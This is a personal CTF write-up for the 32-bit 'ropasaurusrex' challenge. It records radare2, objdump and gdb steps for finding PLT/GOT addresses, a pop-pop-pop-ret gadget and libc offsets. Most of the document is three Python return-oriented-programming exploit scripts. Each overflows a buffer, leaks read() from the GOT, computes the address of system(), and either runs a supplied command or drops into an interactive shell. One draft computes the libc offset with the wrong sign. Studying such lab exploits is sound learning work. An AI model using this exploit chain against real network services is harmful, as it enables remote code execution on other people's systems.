# write-up for ropasaurusax 32bit
# step by step process to write-up learning
# importent command for get information in binary and address in binary.

#radare2 string search in stack 
# e search.in = dbg.maps

########### get address and idea
####### read ,write in __plt
###### with r2:

# [0x41417641]> afl | grep read
# 0x0804832c    1 6            sym.imp.read

# [0x41417641]> afl | grep write
# 0x0804830c    1 6            sym.imp.write

##### with objectdump:
# najeeb@najeeb:~/Downloads$ objdump -D -j .plt ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d | grep read
# 0804832c <read@plt>:
# najeeb@najeeb:~/Downloads$ objdump -D -j .plt ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d | grep write
# 0804830c <write@plt>:

###### GOT address
#[0x0804840f]> pd 1 @ sym.imp.read
#/ (fcn) sym.imp.read 6
#|   sym.imp.read ();
#|              ; CALL XREF from 0x08048416 (sub.read_3f4)
#\           0x0804832c      ff251c960408   jmp dword [reloc.read_28]   ; reloc.read_28

#### ROP with radare2 ===>>> pop;pop;pop;ret

#[0x0804840f]> e rop.len = 4
#[0x0804840f]> "/R/ pop;pop;pop;ret"
 # 0x080484b6                 5e  pop esi
 # 0x080484b7                 5f  pop edi
 # 0x080484b8                 5d  pop ebp
 # 0x080484b9                 c3  ret

#### saving exploit in binary we need permistion 'w' in this case both have
#### permistion but .bss have less space so go to .dynamic
# [0x0804840f]> S=~.bss

# 24  0x08049628 |--------------------------------------------------------------------------------| 0x08049630     8 -rw- .bss

# [0x0804840f]> S=~.dynamic
# 20  0x08049530 |-----------------------------------------------------------------------------###| 0x08049600   208 -rw- .dynamic
# [0x0804840f]>
'''
STAGE 1
--frame_1--
[write@plt]
[pppr     ] // return address
[1        ]
[read@got ]
[4        ]
--frame_2--
[read@plt ]
[pppr     ]
[0        ]
[writeaddr]
[len(cmd) ]
--frame_3--
[vuln_func]
'''
#### searching string 
#   strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep /bin/sh
#   18cd57 /bin/sh

# [0x00020950]> izz | grep bin/sh
# 17982 0x0018cd57 0x0018cd57   7   8 (.rodata) ascii /bin/sh
# [0x00020950]> 



#### libc offset for read and system

#### with gdb
# najeeb@najeeb:~/Music/ctf/rop$ gdb -q /lib/i386-linux-gnu/libc.so.6
# Reading symbols from /lib/i386-linux-gnu/libc.so.6...(no debugging symbols found)...done.
# (gdb) p system
# $1 = {<text variable, no debug info>} 0x3ada0 <system>
# (gdb) p read
# $2 = {<text variable, no debug info>} 0xd5b00 <read>
# (gdb) q

#### with radare2
#### read
#[0x000187d0]> afl | grep __read
#0x000d5b00    5 101          sym.__read

##### system
#[0x000187d0]> afl | grep system
#0x0003ada0   62 55   -> 1172 sym.__libc_system
#0x00112f20    1 68           sym.svcerr_systemerr



#######(imp) mathe for geting sysem offset
# offset = libc_read - libc_system
# sys_addr = leaked_read_addr - offset

'''
import struct

#from socket import create_connection

import sys
import socket

## this is function for packing address.
#pack = lambda v, fmt='<I': pack(fmt, v)

command = sys.argv[1]

s = socket.socket()
s.connect(("localhost",4444))


# all necceary address
read_plt = 0x0804832c
read_plt_got = 0x804961c
write_plt = 0x0804830c
read_sys = 0xd5b00
sys_libc = 0x3ada0
offset = read_sys - sys_libc
#system = 
#ret_addr = 0x41414141
ret_addr = 0x080484b6

dynamic = 0x08049530


payload = "A"*140
################ WRITE
payload += struct.pack("<L", write_plt)
payload += struct.pack("<L", ret_addr)
payload += struct.pack("<L", 0x1)
payload += struct.pack("<L", read_plt_got)
payload += struct.pack("<L", 0x4)

################ READ

payload += struct.pack("<L", read_plt)
payload += struct.pack("<L", ret_addr)
payload += struct.pack("<L", 0x0)
payload += struct.pack("<L", dynamic)
payload += struct.pack("<L",0x30)




####### popopopret




print "(*) --------------------------------------------------"
print "(*) We send the first part of our exploit.."
s.send(payload)
data = s.recv(4)
read_addr = struct.unpack('<L',data)[0]# this is as real read offset in libc
system = read_addr - offset
print("real read address: " , hex(read_addr))
print("real system address", hex(system))

print "(*) We send the second part of our exploit.."
###### secand stage 
payload2 = struct.pack("<L", 0x58585858)
payload2 += struct.pack("<L", system)
payload2 += struct.pack("<L", 0x58585858)
payload2 += struct.pack("<L", dynamic+16)

s.send(payload2 + command + "\x00")
s.close()
'''
'''
import sys, socket
import struct
import telnetlib

addr = ('127.0.0.1', 4444)

#cmd = sys.argv[1]+"\0"

s = socket.socket()
s.connect(("localhost",2323))


# all necceary address
read_plt = 0x0804832c
read_plt_got = 0x804961c
write_plt = 0x0804830c
read_sys = 0xd5b00
sys_libc = 0x3ada0
offset = read_sys + sys_libc
#system = 
ret_addr = 0x41414141
#ret_addr = 0x080484b6
dynamic = 0x08049530

payload = "A"*136+"BBBB"

#### read 
#payload += struct.pack("<L", read_plt)
#payload += struct.pack("<L", ret_addr)
#payload += struct.pack("<L", 0)
#payload += struct.pack("<L", dynamic)
#payload += struct.pack("<L", len(cmd))

#### write

payload += struct.pack("<L", write_plt)
payload += struct.pack("<L", ret_addr)
payload += struct.pack("<L", 1)
payload += struct.pack("<L", read_plt_got)
#payload += struct.pack("<L", dynamic)
payload += struct.pack("<L", 4)


print "(*) --------------------------------------------------"
print "(*) We send the first part of our exploit.."
s.send(payload + "BBBB")
data = s.recv(4)
read_addr = struct.unpack('<L',data)[0]# this is as real read offset in libc
system = read_addr - offset
print("real read address: " , hex(read_addr))
print("real system address", hex(system))
s.close()
'''
'''
import sys, socket
import struct
import telnetlib

addr = ('127.0.0.1', 2323)

cmd = sys.argv[1]+"\0"

#this is for my libc. your offsets may differ.
libcread_offset = 0xdabd0
libcsystem_offset = 0x40190

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

payload = "A"*140

#leak resolved addr of read() in randomized libc
payload += struct.pack("<I", 0x0804830c) #write() call loc #write@plt
payload += struct.pack("<I", 0x080484b6) #pppr
payload += struct.pack("<I", 1) #stdout
payload += struct.pack("<I", 0x0804961c) #read() in GOT #read@got.plt
payload += struct.pack("<I", 4) #len

#write stdin to .dynamic using read@plt
payload += struct.pack("<I", 0x0804832c) #read() call loc #read@plt
payload += struct.pack("<I", 0x080484b6) #pppr
payload += struct.pack("<I", 0) #stdin
payload += struct.pack("<I", 0x08049530) #.dynamic
payload += struct.pack("<I", len(cmd)) #length of cmd


#call read@plt to overwrite the ptr stored in read()'s entry in GOT
payload += struct.pack("<I", 0x0804832c) #read() call loc #read@plt
payload += struct.pack("<I", 0x080484b6) #pppr
payload += struct.pack("<I", 0) #stdin
payload += struct.pack("<I", 0x0804961c) #read() in GOT #read@got.plt
payload += struct.pack("<I", 4) #len

#call read@plt = addr of system() in libc
payload += struct.pack("<I", 0x0804832c) #read() call loc #read@plt
payload += "BBBB" #bogus retn addr
payload += struct.pack("<I", 0x08049530) #.dynamic #system() arg

s.connect(addr)

s.send(payload)

s.send(cmd)

#calculate system() addr and send back
readaddr = struct.unpack("<I", s.recv(1024))[0]
print "libc read() found at 0x%.8x" % readaddr
systemaddr = readaddr - libcread_offset + libcsystem_offset
print "libc system() found at 0x%.8x" % systemaddr
s.send(struct.pack("<I", systemaddr))

#pass in /bin/sh to get shell
t = telnetlib.Telnet()
t.sock = s
t.interact()

print s.recv(1024)

s.close()
'''
